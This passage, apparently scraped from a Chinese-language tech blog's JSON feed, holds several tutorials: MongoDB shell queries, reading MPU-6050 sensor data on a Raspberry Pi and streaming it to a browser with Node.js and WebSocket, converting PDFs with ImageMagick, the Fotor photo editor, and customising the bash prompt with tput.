\u0026#34;cuisine\u0026#34;: \u0026#34;Italian\u0026#34;, \u0026#34;address.zipcode\u0026#34;: \u0026#34;10075\u0026#34; } ) 這樣的效果就等於 and 運算。而如果要使用 or 運算，則可使用 $or 運算子：\ndb.restaurants.find( { $or: [ { \u0026#34;cuisine\u0026#34;: \u0026#34;Italian\u0026#34; }, { \u0026#34;address.zipcode\u0026#34;: \u0026#34;10075\u0026#34; } ] } ) 排序查詢結果 如果要讓查詢的結果依照 field 來排序，可以加上 sort 方法，並且指定排序的 field 名稱與排列方式，1 代表遞增，-1 代表遞減。例如：\ndb.restaurants.find().sort( { \u0026#34;borough\u0026#34;: 1, \u0026#34;address.zipcode\u0026#34;: 1 } ) 這個查詢指令會傳回 restaurants 中所有的 documents，然後以 borough 的值做遞增排序，在 borough 相同的時候，就以 address.zipcode 做遞增排序。\n列出所有的 collections 若要列出 database 所有的 collections，可以使用以下幾種方式：\nshow collections show tables db.getCollectionNames() 資料庫系統資訊 若要查詢整個 MongoDB 中所儲存的資料量大小等系統資訊，可以使用 db.stats：\ndb.stats() { \"db\" : \"test\", \"collections\" : 5, \"objects\" : 344697, \"avgObjSize\" : 10701.451500883384, \"dataSize\" : 3688758228, \"storageSize\" : 4248158208, \"numExtents\" : 35, \"indexes\" : 4, \"indexSize\" : 41885648, \"fileSize\" : 8519680000, \"nsSizeMB\" : 16, \"dataFileVersion\" : { \"major\" : 4, \"minor\" : 5 }, \"ok\" : 1 } 其中 dataSize 就是所有未壓縮原始資料的大小，storageSize 是分配給 collections 的空間大小，而 fileSize 則是資料實際儲存在硬碟中時所使用到的空間大小，單位都是位元組（bytes）。\n","permalink":"https://blog.gtwang.org/programming/getting-started-with-mongodb-shell-1/","summary":"\u003cp\u003e這裡教大家如何透過 MongoDB shell（\u003ccode\u003emongo\u003c/code\u003e）來使用 MongoDB 資料庫。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003emongo\u003c/code\u003e 是一個用來操作 MongoDB 的互動式 JavaScript 介面，您可以使用它來查詢（query）或更新（update）資料庫中的資料，另外也可以進行一些資料庫的管理動作。\u003c/p\u003e","title":"MongoDB 基礎入門教學：MongoDB Shell 篇"},{"content":"這裡我們在樹莓派（Raspberry Pi）上使用 Node.js 與 WebSocket 技術，以網頁來呈現即時性的 MPU-6050 加速規感測器資料。\n在之前的文章中，我們使用 MPU-6050 的 DMP 來擷取精準的運動感測資料，而接下來我打算在樹莓派上面用 Node.js 架設一個間單的網頁伺服器，將 MPU-6050 的資料即時轉送到網頁上，讓使用者只要打開瀏覽器就可以立即看到目前所收集到的資料。\n這是整個系統的架構圖，我們用 C 語言擷取 MPU-6050 的資料後，轉送到 Node.js 的網頁伺服器，再送到瀏覽器上呈現，整個資料的傳遞過程都是即時性的（real-time）串流，所以在瀏覽器上可以看到即時的資料。\n以下是整個系統的實作重點，當然如果您要實作這樣的系統，請不要用複製貼上的方式來做，由於整個系統的技術細節很多，我也很難把所有的東西都寫出來，只有提一些比較重要的，請看懂之後自己寫，所以如果只是直接複製貼上的話，是做不出來的喔。\n感測資料擷取程式 這個部分就是單純延續我們之前寫的 DMP 擷取程式，然後再加上 socket 的資料傳輸功能，這裡同樣我只說明最關鍵的部分，首先宣告使用 socket 傳輸資料會用的一些變數：\n// 使用 socket 傳輸資料會用的一些變數 unsigned char sendBuff[12]; int listenfd,connfd; struct sockaddr_in serv_addr; const int portNum = 6000; 其中 snedBuff 是用來儲存資料封包的緩衝區，由於資料的封包是自己設計的，所以就依照自己的需求自己決定長度。而 portNum 是傳輸資料用的連接埠號，這個也可以自己更改。\n接著就是初始化 socket 的連線，開一個 TCP 的連接埠等待連線：\nlistenfd = 0; connfd = 0; listenfd = socket(AF_INET, SOCK_STREAM, 0); printf(\u0026#34;socket retrieve success\\n\u0026#34;); memset(\u0026amp;serv_addr, \u0026#39;0\u0026#39;, sizeof(serv_addr)); memset(sendBuff, \u0026#39;0\u0026#39;, sizeof(sendBuff)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(portNum); bind(listenfd, (struct sockaddr*)\u0026amp;serv_addr,sizeof(serv_addr)); if(listen(listenfd, 10) == -1){ printf(\u0026#34;Failed to listen\\n\u0026#34;); return -1; } connfd = accept(listenfd, (struct sockaddr*)NULL ,NULL); // 開始擷取 MPU-6050 的資料 我這裡的設計是先讓 TCP 連線建立好之後，再進行 MPU-6050 的初始化，然後才開始擷取資料，而如果連線尚未建立，就不會去動到 MPU-6050，當然您也可以先初始化 MPU-6050，先收資料再等待連線。\n最後在資料擷取的迴圈函數 loop() 中，加上一小段用 socket 傳送資料的程式碼：\n#ifdef OUTPUT_READABLE_REALACCEL // 實際的加速度（去除重力） mpu.dmpGetQuaternion(\u0026amp;q, fifoBuffer); mpu.dmpGetAccel(\u0026amp;aa, fifoBuffer); mpu.dmpGetGravity(\u0026amp;gravity, \u0026amp;q); mpu.dmpGetLinearAccel(\u0026amp;aaReal, \u0026amp;aa, \u0026amp;gravity); printf(\u0026#34;areal %6d %6d %6d \u0026#34;, aaReal.x, aaReal.y, aaReal.z); // 使用 socket 傳送資料 *(uint16_t *)(sendBuff+1) = htons(*(uint16_t *)(\u0026amp;aaReal.x)); *(uint16_t *)(sendBuff+3) = htons(*(uint16_t *)(\u0026amp;aaReal.y)); *(uint16_t *)(sendBuff+5) = htons(*(uint16_t *)(\u0026amp;aaReal.z)); write(connfd, sendBuff, 12); #endif 這裡我將三個軸的加速度放進 sendBuff 中的第 2 個到第 7 個 byte，所以只用到了 6 個 bytes 而已，至於其他的位置就看自己的需求，看要放什麼都可以，當然表頭與表尾記得自己加。\n網頁伺服器 我們的網頁伺服器是用 Node.js 寫的，所以要先安裝一下 Node.js。\n安裝 Node.js 由於樹莓派官方所提供的 Node.js 版本太舊了，所以我使用別人已經編譯好的版本來快速安裝，首先下載放在 GibHub 上的壓縮檔：\nwget https://gist.github.com/raw/3245130/v0.10.24/node-v0.10.24-linux-arm-armv6j-vfp-hard.tar.gz 解壓縮之後，放到適當的位置就可以直接使用了：\ntar zxvf node-v0.10.24-linux-arm-armv6j-vfp-hard.tar.gz sudo mv node-v0.10.24-linux-arm-armv6j-vfp-hard /opt/node 然後在自己的 ~/.bashrc 加上一行 PATH 的設定：\nexport PATH=$PATH:/opt/node/bin 這樣下次登入之後，就可以直接使用 Node.js 了，如果要直接使用的話，要先載入新的 ~/.bashrc 設定：\nsource ~/.bashrc 檢查一下 Node.js 的版本：\nnode -v 輸出為\nv0.10.24 這樣基本的 Node.js 就安裝好了。\n伺服器 以 Node.js 撰寫一個簡單的網頁伺服器，連線到感測資料擷取程式收資料，然後透過 WebSocket 轉送給瀏覽器。\nvar express = require(\u0026#39;express\u0026#39;); var app = express(); var server = require(\u0026#39;http\u0026#39;).Server(app); var io = require(\u0026#39;socket.io\u0026#39;)(server); // 網頁伺服器連接埠 server.listen(8000); app.use(express.static(\u0026#39;public\u0026#39;)); var socket = require(\u0026#39;net\u0026#39;).Socket(); // 連線到感測資料擷取程式 socket.connect(6000, \u0026#39;localhost\u0026#39;); // 接收資料，透過 WebSocket 轉送 socket.on(\u0026#39;data\u0026#39;, function(data){ var buff = Buffer(data); var accel_x = data.readInt16BE(1); var accel_y = data.readInt16BE(3); var accel_z = data.readInt16BE(5); io.sockets.emit(\u0026#39;sensor_data\u0026#39;, {x:accel_x, y:accel_y, z:accel_z}); }); 這裡有用到 socket.io 與 express 這兩個 Node.js 套件，要另外安裝：\nnpm install socket.io express 關於 Socket.IO 的技術部分，可以參考使用 Node.js 與 Socket.IO 建立即時性網頁應用程式。\n而在瀏覽器端，還要撰寫一段收資料並且畫圖的程式，這裡我們的圖形使用 Flot 來畫，首先引入必要的 JavaScript：\n\u0026lt;script language=\u0026#34;javascript\u0026#34; type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;js/jquery.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script language=\u0026#34;javascript\u0026#34; type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;js/jquery.flot.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script language=\u0026#34;javascript\u0026#34; type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;js/jquery.flot.time.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script language=\u0026#34;javascript\u0026#34; type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;/socket.io/socket.io.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 然後用 Flot 畫出 WebSocket 收到的資料：\n$(function() { var socket = io(); var accXDataBuff = []; var accYDataBuff = []; var accZDataBuff = []; var totalShowPoints = 300; var totalPoints = totalShowPoints + 30; var updateInterval = 10; var plot = $.plot(\u0026#34;#placeholder\u0026#34;, [ {label: \u0026#34;Acc. X\u0026#34;, data: accXDataBuff}, {label: \u0026#34;Acc. Y\u0026#34;, data: accYDataBuff}, {label: \u0026#34;Acc. Z\u0026#34;, data: accZDataBuff} ], { series: { shadowSize: 0 }, yaxis: { min: -32767/2, max: 32768/2 }, xaxis: { mode: \u0026#34;time\u0026#34;, timezone: \u0026#34;browser\u0026#34;, show: true }, legend: { show: true } }); socket.on(\u0026#39;sensor_data\u0026#39;, function (data) { if (accXDataBuff.length \u0026gt;= totalPoints) { accXDataBuff.shift(); } if (accYDataBuff.length \u0026gt;= totalPoints) { accYDataBuff.shift(); } if (accZDataBuff.length \u0026gt;= totalPoints) { accZDataBuff.shift(); } var now = new Date().getTime(); accXDataBuff.push([now, data.x]); accYDataBuff.push([now, data.y]); accZDataBuff.push([now, data.z]); plot.setData([ {label: \u0026#34;Acc. X\u0026#34;, data: accXDataBuff}, {label: \u0026#34;Acc. Y\u0026#34;, data: accYDataBuff}, {label: \u0026#34;Acc. Z\u0026#34;, data: accZDataBuff}]); plot.getOptions().xaxes[].min = now - totalShowPoints * updateInterval; plot.getOptions().xaxes[].max = now; plot.setupGrid(); plot.draw(); }); }); 這是實際測試的影片。\n","permalink":"https://blog.gtwang.org/iot/display-real-time-mpu-6050-sensor-data-using-node-js-and-websocket/","summary":"\u003cp\u003e這裡我們在樹莓派（Raspberry Pi）上使用 Node.js 與 WebSocket 技術，以網頁來呈現即時性的 MPU-6050 加速規感測器資料。\u003c/p\u003e\n\u003cp\u003e在之前的文章中，我們\u003ca href=\"/iot/raspberry-pi-mpu-6050-read-data-using-dmp/\"\u003e使用 MPU-6050 的 DMP 來擷取精準的運動感測資料\u003c/a\u003e，而接下來我打算在樹莓派上面用 Node.js 架設一個間單的網頁伺服器，將 MPU-6050 的資料即時轉送到網頁上，讓使用者只要打開瀏覽器就可以立即看到目前所收集到的資料。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 使用 Node.js 與 WebSocket 呈現即時性的 MPU-6050 感測器資料"},{"content":"我今年投稿的一篇 LinuxPilot 雜誌文章，今天收到當期的贈閱本，紀錄一下。\n這已經是我第二次投稿 LinuxPilot 了，這次特別索取一本來看看自己寫的文章刊載雜誌上的樣子，看這袋子上的郵票與郵戳，是從香港直接寄過來的，郵戳蓋的日期的六月三十號，過了三週才收到，害我一度懷疑有沒有寄丟掉。\n我收到這本跟一般書局賣的似乎是一樣的。\n這篇就是我之前投稿的文章，講述開放原始碼的 P2P 檔案同步工具 Syncthing，他可以視為 BitTorrent Sync 的開放原始碼替代方案。\n當然因為這篇文章已經投稿到 LinuxPilot 了，所以就不能放在部落格，有興趣的人可以去找來看。\n","permalink":"https://blog.gtwang.org/funny/linuxpilot-201506/","summary":"\u003cp\u003e我今年投稿的一篇 LinuxPilot 雜誌文章，今天收到當期的贈閱本，紀錄一下。\u003c/p\u003e\n\u003cp\u003e這已經是我第二次投稿 LinuxPilot 了，這次特別索取一本來看看自己寫的文章刊載雜誌上的樣子，看這袋子上的郵票與郵戳，是從香港直接寄過來的，郵戳蓋的日期的六月三十號，過了三週才收到，害我一度懷疑有沒有寄丟掉。\u003c/p\u003e","title":"投稿 LinuxPilot 雜誌文章送的贈閱本"},{"content":"這裡介紹如何在樹莓派 Raspberry Pi 中使用 MPU-6050 的 DMP 來取得更精準的運動感測資料。\nMPU-6050 加速度計與陀螺儀六軸感測器內建的 Digital Motion Processor（DMP）可以負責一些運動處理演算法（motion processing algorithm）的計算，DMP 可從加速度計（accelerometers）、陀螺儀（gyroscopes）或第三方的感測器上讀取資料，透過 DMP 的暫存器來讓使用者讀取運算的結果，或是將運算結果放進 FIFO 中。\nDMP 主要的用途在於處理即時性的需求，並且分擔一些運算的工作，一般來說 DMP 會以很高的計算速度（大約是 200Hz）來進行運動處理演算法的運算，降低延遲以提供精準的數據，甚至在低取樣速度（如 5Hz）的應用上，DMP 還是會保持這樣的運算速度，以確保資料的精準性。\n在前一篇文章中，我們使用了 PiBits 這個專案的 demo_raw.cpp 讀取原始的感測資料，而接下來我們繼續來看第二個使用 DMP 的範例程式 demo_dmp.cpp，因為這個程式碼比較長，所以就不全部貼上來了，我只說明比較重要的部分。\n程式一開始先呼叫 setup() 進行初始化：\n// 初始化 I2C 設備 printf(\u0026#34;Initializing I2C devices...\\n\u0026#34;); mpu.initialize(); // 測試一下連線是否正常 printf(\u0026#34;Testing device connections...\\n\u0026#34;); printf(mpu.testConnection() ? \u0026#34;MPU6050 connection successful\\n\u0026#34; : \u0026#34;MPU6050 connection failed\\n\u0026#34;); // 載入與設定 DMP printf(\u0026#34;Initializing DMP...\\n\u0026#34;); devStatus = mpu.dmpInitialize(); 接著啟用 DMP：\n// 開啟 DMP printf(\u0026#34;Enabling DMP...\\n\u0026#34;); mpu.setDMPEnabled(true); 在讀取資料之前，必須先確認 DMP 的封包大小：\n// 取得 DMP 封包大小 packetSize = mpu.dmpGetFIFOPacketSize(); 這樣就完成初始化的動作了，接著就開始進入主要的無窮迴圈，重複呼叫 loop() 讀取資料。在 loop() 中，先取得 FIFO 目前的大小：\nfifoCount = mpu.getFIFOCount(); 然後檢查看看 FIFO 是否有溢位的狀況，如果 FIFO 沒有溢位，再檢查 FIFO 資料大小是否超過一個 DMP 封包大小，如果超過的話，就可以讀取一個封包的資料進來：\nif (fifoCount == 1024) { // FIFO 溢位 // 重設 FIFO mpu.resetFIFO(); printf(\u0026#34;FIFO overflow!\\n\u0026#34;); // 檢查 FIFO 中 DMP 的資料是否已經可以讀取了 } else if (fifoCount \u0026amp;gt;= packetSize) { // 從 FIFO 中讀取一個 DMP 封包資料 mpu.getFIFOBytes(fifoBuffer, packetSize); // 解析 DMP 封包，並輸出資料 ...[略] } 由於 MPU-6050 的 FIFO 緩衝區的大小是 1024 bytes（請參考 MPU-6050 的官方說明文件），所以這裡我們依據 fifoCount 的值是否為 1024 來判斷 FIFO 是否有溢位。\n將資料從 MPU-6050 的 FIFO 讀出來之後，會儲存在 fifoBuffer 這個陣列中，而接下來就是要解析這個 DMP 封包，輸出自己想要的數值資料，在 demo_dmp.cpp 中，有很多寫好範例，例如輸出去除重力（gravity）的加速度：\n#ifdef OUTPUT_READABLE_REALACCEL // 實際的加速度（去除重力） mpu.dmpGetQuaternion(\u0026amp;q, fifoBuffer); mpu.dmpGetAccel(\u0026amp;aa, fifoBuffer); mpu.dmpGetGravity(\u0026amp;gravity, \u0026amp;q); mpu.dmpGetLinearAccel(\u0026amp;aaReal, \u0026amp;aa, \u0026amp;gravity); printf(\u0026#34;areal %6d %6d %6d \u0026#34;, aaReal.x, aaReal.y, aaReal.z); #endif 如果要改變 DMP FIFO 的更新速度，可以在 Makefile 中透過 DMP_FIFO_RATE 調整：\nCXXFLAGS = -DDMP_FIFO_RATE=9 -Wall -g -O2 `pkg-config gtkmm-3.0 --cflags --libs` 這裡 FIFO rate 的計算公式為\nFIFO rate = 200Hz / (1 + DMP_FIFO_RATE)\n如果 DMP_FIFO_RATE 設為 9，則計算出來的 FIFO rate 就是 20Hz，以此類推。\n這裡只是簡要的敘述程式的重點，如果想要了解整個程式的細節，還是需要從原始碼一行一行來看才有辦法，另外最好也先看過 InvenSense 官方的文件。\n有了擷取資料的程式之後，我打算在樹莓派上面用 Node.js 架設一個間單的網頁伺服器，將 MPU-6050 的資料即時轉送到網頁上，讓使用者只要打開瀏覽器就可以立即看到目前所收集到的資料，實作過程請參考樹莓派 Raspberry Pi 使用 Node.js 與 WebSocket 呈現即時性的 MPU-6050 感測器資料。\n參考資料 Geek Mom Projects i2cdevlib ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-mpu-6050-read-data-using-dmp/","summary":"\u003cp\u003e這裡介紹如何在樹莓派 Raspberry Pi 中使用 MPU-6050 的 DMP 來取得更精準的運動感測資料。\u003c/p\u003e\n\u003cp\u003eMPU-6050 加速度計與陀螺儀六軸感測器內建的 Digital Motion Processor（DMP）可以負責一些運動處理演算法（motion processing algorithm）的計算，DMP 可從加速度計（accelerometers）、陀螺儀（gyroscopes）或第三方的感測器上讀取資料，透過 DMP 的暫存器來讓使用者讀取運算的結果，或是將運算結果放進 FIFO 中。\u003c/p\u003e","title":"使用 MPU-6050 的 DMP 來取得更精準的運動感測資料"},{"content":"這裡介紹如何使用 ImageMagick 將 PDF 檔轉成高品質的預覽圖檔。\n在網路上分享文章或是文件時，直接使用 PDF 檔案讓人下載瀏覽的方式，雖然可以呈現高品質的內容與排版，但是需要多一個下載步驟，就顯得不是很方便，另外如果遇到解析度比較高的 PDF 檔，檔案太大的話，下載也需要比較長的時間。\n對於單純的網路分享或是內容預覽而言，其實改用圖檔的方式，有時候會比較方便，不管是上傳到 Facebook 或是放進部落格都很方便，以下我們介紹如何在 Linux 中使用 ImageMagick 這個免費工具，將整個 PDF 檔轉換為一頁一頁的高品質圖檔。\n基本轉檔 我們以 MagPi 第 35 期的 PDF 檔來示範，若要將整個 PDF 檔轉成一頁一頁的 jpeg 檔，可以執行：\nconvert MagPi35.pdf MagPi35.jpeg 執行完後，我們就會得到該 PDF 檔每一頁的轉換圖檔：\n這是第一頁轉換出來的結果：\n提高解析度 ImageMagick 預設會以 72dpi 的解析度來轉換 PDF 檔，這樣的解析度不是高，轉換出來的圖檔大小每一頁大約都在 200KB 以下，適合一般性的網路分享，而如果 PDF 檔的文字比較小，怕看不清楚的話，可以將解析度調高，例如調到 300dpi：\nconvert -density 300 MagPi35.pdf MagPi35.jpeg 當然調高解析度的話，圖檔大小就會增加，這個就看自己的需求來調整了。\n加入陰影 使用這樣的指令稿可以在每一張圖檔上自動加上陰影：\nfor i in *.jpeg; do convert $i \\( +clone -background black -shadow 75x50+10+20% \\) +swap -background white -layers merge ${i%.jpeg}.shadow.jpeg done 其中陰影參數 -shadow 的部分有四個值，其代表的意義如下：\n第一個 75 是透明度，單位是百分比，0 代表完全透明，100 代表完全不透明。 第二個 50 是 ImageMagick 的陰影 sigma 參數，等同於一般繪圖軟體的陰影模糊半徑，這個值越大，陰影的範圍就越大，而且越模糊。 最後兩個 +10 與 +20 分別是陰影的 x 方向與 y 方向位移，後面的 % 代表使用百分比為單位，若沒有加上 % 的話，預設的單位為像素。 結果會像這樣：\n合併縮圖 如果您只需要觀看小縮圖，可以使用 ImageMagick 的 montage 指令將多張圖貼成一張：\nmontage -tile 3x2 -geometry +1+1 MagPi35-[012345].shadow.jpeg MagPi35-tile-3x2.jpg 這裡我們將 MagPi35-0.shadow.jpeg 到 MagPi35-5.shadow.jpeg 這六張圖合併成一張，輸出結果會像這樣：\n中文 PDF 檔 ImageMagick 對於中文的 PDF 檔案也可以處理，這是處理的一個範例結果：\n","permalink":"https://blog.gtwang.org/useful-tools/converting-pdfs-to-pretty-previews-with-imagemagick/","summary":"\u003cp\u003e這裡介紹如何使用 ImageMagick 將 PDF 檔轉成高品質的預覽圖檔。\u003c/p\u003e\n\u003cp\u003e在網路上分享文章或是文件時，直接使用 PDF 檔案讓人下載瀏覽的方式，雖然可以呈現高品質的內容與排版，但是需要多一個下載步驟，就顯得不是很方便，另外如果遇到解析度比較高的 PDF 檔，檔案太大的話，下載也需要比較長的時間。\u003c/p\u003e","title":"用 ImageMagick 將 PDF 轉成高品質的預覽圖檔"},{"content":"這裡介紹如何在樹莓派上使用 C 語言來讀取 MPU-6050 加速度計與陀螺儀感測資料。\n上一篇文章中我們已經將 MPU-6050 連接上 Raspberry Pi 了，接下來就是要實際讀取加速度計與陀螺儀的資料了。\n若要使用 C 語言來跟 I2C 的設備溝通，在 Linux 系統中可以使用 i2c-dev 這套函式厙：\nsudo apt-get install libi2c-dev 而程式的撰寫在網路上已經有非常多的範例可以參考（請見下方的參考資料），從這些已經寫好的範例程式下手來修改，通常會比較容易，不過如果您是完全沒有經驗的新手，可能還是會需要花上很多時間。\n我在 GitHub 上找到 PiBits 這個專案，裡面有針對 Raspberry Pi 與 MPU-6050 寫一個很棒的範例，使用的語言是 C++，這是我看過最簡單就可以入門使用的程式碼了。\n首先用 git 將 GitHub 上的程式碼都下載下來：\ngit clone https://github.com/richardghirst/PiBits.git 進入 PiBits/MPU6050-Pi-Demo 目錄：\ncd PiBits/MPU6050-Pi-Demo 這個目錄包含了三個範例程式以及 I2Cdev 與 MPU6050 兩個類別，基本上整個程式架構都使用物件導向的方式規劃的很清楚，所以只要稍微懂一點 C++ 的人，應該都可以立即上手。\n我們來看最簡單的 demo_raw.cpp，這一個程式是單純讀取 MPU-6050 的感測資料，然後輸出：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026#34;I2Cdev.h\u0026#34; #include \u0026#34;MPU6050.h\u0026#34; MPU6050 accelgyro; // 預設 I2C 位址為 0x68 //MPU6050 accelgyro(0x69); // 設定 I2C 位址為 0x69 int16_t ax, ay, az; int16_t gx, gy, gz; void setup() { // 初始化 I2C 設備 printf(\u0026#34;Initializing I2C devices...\\n\u0026#34;); accelgyro.initialize(); // 測試連線是否正常 printf(\u0026#34;Testing device connections...\\n\u0026#34;); printf(accelgyro.testConnection() ? \u0026#34;MPU6050 connection successful\\n\u0026#34; : \u0026#34;MPU6050 connection failed\\n\u0026#34;); } void loop() { // 從 MPU-6050 讀取加速度計與陀螺儀資料 accelgyro.getMotion6(\u0026amp;ax, \u0026amp;ay, \u0026amp;az, \u0026amp;gx, \u0026amp;gy, \u0026amp;gz); // 其他的讀取方式 //accelgyro.getAcceleration(\u0026amp;ax, \u0026amp;ay, \u0026amp;az); //accelgyro.getRotation(\u0026amp;gx, \u0026amp;gy, \u0026amp;gz); // 輸出 printf(\u0026#34;a/g: %6hd %6hd %6hd %6hd %6hd %6hd\\n\u0026#34;,ax,ay,az,gx,gy,gz); } int main() { setup(); for (;;) loop(); } 這個程式碼非常簡單，我就不多作解釋了。由於 PiBits 中的專案都已經寫好 Makefile 了，所以直接執行 make 就以自動編譯：\nmake 然後執行\nsudo ./demo_raw 正常的話，應該就可以看到類似這樣的輸出：\nInitializing I2C devices... Testing device connections... MPU6050 connection successful a/g: 16804 24 -3420 -113 -154 -68 a/g: 16664 -72 -3544 -89 -177 -78 a/g: 16800 -20 -3376 -100 -144 -48 a/g: 16676 -56 -3468 -87 -174 -84 a/g: 16712 -64 -3544 -116 -162 -41 a/g: 16776 28 -3528 -107 -157 -95 如果您執行之後出現這樣的錯誤訊息：\nFailed to open device: No such file or directory 那有可能是因為 I2C 的設備位址指定錯誤，可以檢查一下自己的 I2C 設備：\nls /dev/i2c* 如果您的輸出是這樣：\n/dev/i2c-1 那麼請將 I2Cdev.cpp 中所有的\nopen(\u0026#34;/dev/i2c-0\u0026#34;, O_RDWR); 改為\nopen(\u0026#34;/dev/i2c-1\u0026#34;, O_RDWR); 然後再執行一次\nmake 這樣應該就可以了。\n這裡我們使用 sudo 來執行編譯好的 demo_raw 是因為預設的情況下，一般使用者是不能存取 /dev/i2c-* 的，所以要改用 root 權限，或是您也可以直接將 /dev/i2c-* 的檔案權限變更一下：\nsudo chmod 666 /dev/i2c-* 這樣就可以讓一般使者直接存取了。\n這裡我們是使用 Raspberry Pi 來直接讀取 MPU-6050 加速度計與陀螺儀的資料，由於 Linux 作業系統的排程問題，取樣的時間點通常沒辦法太精確，如果您需要比較精準的取樣時間，可以使用 MPU-6050 的 DMP 來取得更精準的運動感測資料，並且也可以減輕 CPU 或 MCU 的負擔。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 PiBits David Grayson\u0026rsquo;s blog raspy-juice SUNXI ozzmaker.com 大兵萊恩 ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-read-data-from-mpu6050-using-cpp/","summary":"\u003cp\u003e這裡介紹如何在樹莓派上使用 C 語言來讀取 MPU-6050 加速度計與陀螺儀感測資料。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/iot/raspberry-pi-mpu6050-six-axis-gyro-accelerometer-1/\"\u003e上一篇文章\u003c/a\u003e中我們已經將 MPU-6050 連接上 Raspberry Pi 了，接下來就是要實際讀取加速度計與陀螺儀的資料了。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"樹莓派 Raspberry Pi 使用 C++ 讀取 MPU-6050 加速度計與陀螺儀感測資料"},{"content":"Fotor 是一個線上照片編修工具，可以讓您輕鬆製作出簡單卻又有設計感的照片。\n現在的數相機或是智慧型手機拍出來的照片畫質越來越好，許多人都會喜歡將好的照片放在網路上跟朋友分享，不過若是只是單純上傳原始的照片，不免感覺有些單調，這時候就可以利用 Fotor 這個線上小工具美化一下，甚至也可以製作成簡單而且有設計感的賀卡。\n名稱：Fotor\n網址：https://www.fotor.com/\nFotor 這個工具只要打開網頁，上傳照片後就可以立即用自己的照片來製作各種拼貼、賀卡或是雜誌封面等。\n有時候在照片上加上簡單的圖案與字句，就可以很有設計感。\n照片的拼貼也是很實用的工具。\n如果要使用中文也沒問題，還可以使用自己電腦中的字型來顯示，非常方便。\nFotor 內建許多設計好的範本，基本上使用者不需要花太多腦筋，只要輸入自己要的文字，就可以呈現出令人驚豔的效果，另外他也有手機的 App 可以使用，對於一般不太懂繪圖軟體的人，算是一個很實用的工具。\n","permalink":"https://blog.gtwang.org/useful-tools/fotor-online-photo-editor/","summary":"\u003cp\u003eFotor 是一個線上照片編修工具，可以讓您輕鬆製作出簡單卻又有設計感的照片。\u003c/p\u003e\n\u003cp\u003e現在的數相機或是智慧型手機拍出來的照片畫質越來越好，許多人都會喜歡將好的照片放在網路上跟朋友分享，不過若是只是單純上傳原始的照片，不免感覺有些單調，這時候就可以利用 Fotor 這個線上小工具美化一下，甚至也可以製作成簡單而且有設計感的賀卡。\u003c/p\u003e","title":"Fotor：線上照片編輯工具，製作有設計感的照片"},{"content":"這裡敘述了一些命令提示字串的進階用法，讓您可以自訂一些更特別的命令提示字串。\n在上一篇命令提示字串的基本教學中，我們介紹了一些最基本的命令提示字串設定方式，以下我們再進一步說明如何利用 tput 來控制文字樣式，另外也蒐集了許多好用的範例，如果不想自己慢慢自訂命令提示字串的人，可以從這裡找一個自己喜歡的來使用。\n使用 tput 控制文字樣式 tput 指令也可以用來控制命令提示字串，除了顏色之外，他還可以控制文字的樣式，例如粗體與下底線等：\nPS1=\u0026#34;\\[$(tput bold)$(tput setb 4)$(tput setaf 7)\\]\\u@\\h:\\w $ \\[$(tput sgr0)\\]\u0026#34; 以下是 tput 控制顏色的用法：\ntput setb [1-7]：設定背景顏色。 tput setab [1-7]：使用 ANSI escape code 設定背景顏色。 tput setf [1-7]：設定前景顏色。 tput setaf [1-7]：使用 ANSI escape code 設定前景顏色。 以下這個指令稿可以顯示出所有前景與背景的顏色差異：\n#!/bin/bash for i in {1..7}; do echo \u0026#34;$(tput setab $i)setab $i$(tput sgr0)\\ $(tput setb $i)setb $i$(tput sgr0)\\ $(tput setaf $i)setaf $i$(tput sgr0)\\ $(tput setf $i)setf $i$(tput sgr0)\u0026#34; done 結果會像這樣：\n用於控制文字樣式的語法：\ntput bold：進入粗體模式。 tput dim：進入低亮度（half-bright）模式。 tput smul：進入下底線模式。 tput rmul：結束下底線模式。 tput rev：開始反相模式。 tput smso：進入 standout 模式。 tput rmso：結束 standout 模式。 tput sgr0：結束所有的模式。 這是這幾種文字樣式的簡單示範：\n範例 以下我們蒐集許多很有用的、或是很有趣的命令提示字串範例程式碼，您可以從這些範例來修改，創造出屬於自己的命令提示字串。\n五顏六色的命令提示字串 PS1=\u0026#39;\\[\\e[1;36m\\]\\d \\[\\e[1;32m\\]\\t \\[\\e[1;33m\\]\\u@\\[\\e[1;35m\\]\\h:\\w\\$\\[\\e[0;31m\\] \u0026#39; 多行的命令提示字串 PS1=\u0026#39;\\[\\e[1;33m\\]\\u@\\h \\w -\u0026gt;\\n\\[\\e[1;36m\\] \\@ \\d\\$\\[\\e[m\\] \u0026#39; 判斷是否為 root 帳號 依據是否為 root 帳號來選擇命令提示字串：\nif [ $(id -u) -eq 0 ]; then PS1=\u0026#39;\\[\\e[1;36m\\][\\d \\t \\u@\\h \\w]\\$\\[\\e[m\\] \u0026#39; else PS1=\u0026#39;\\[\\e[1;33m\\][\\d \\t \\u@\\h \\w]\\$\\[\\e[m\\] \u0026#39; fi 一般使用者的狀況：\nroot 管理者的狀況：\n您可以將 root 使用者的命令提示字串設定成比較醒目的顏色，這樣可以讓自己很容易辨識出是否正在使用 root 權限執行指令，降低下錯指令的風險。\n使用 fortune 與 cowsay 在 .bashrc 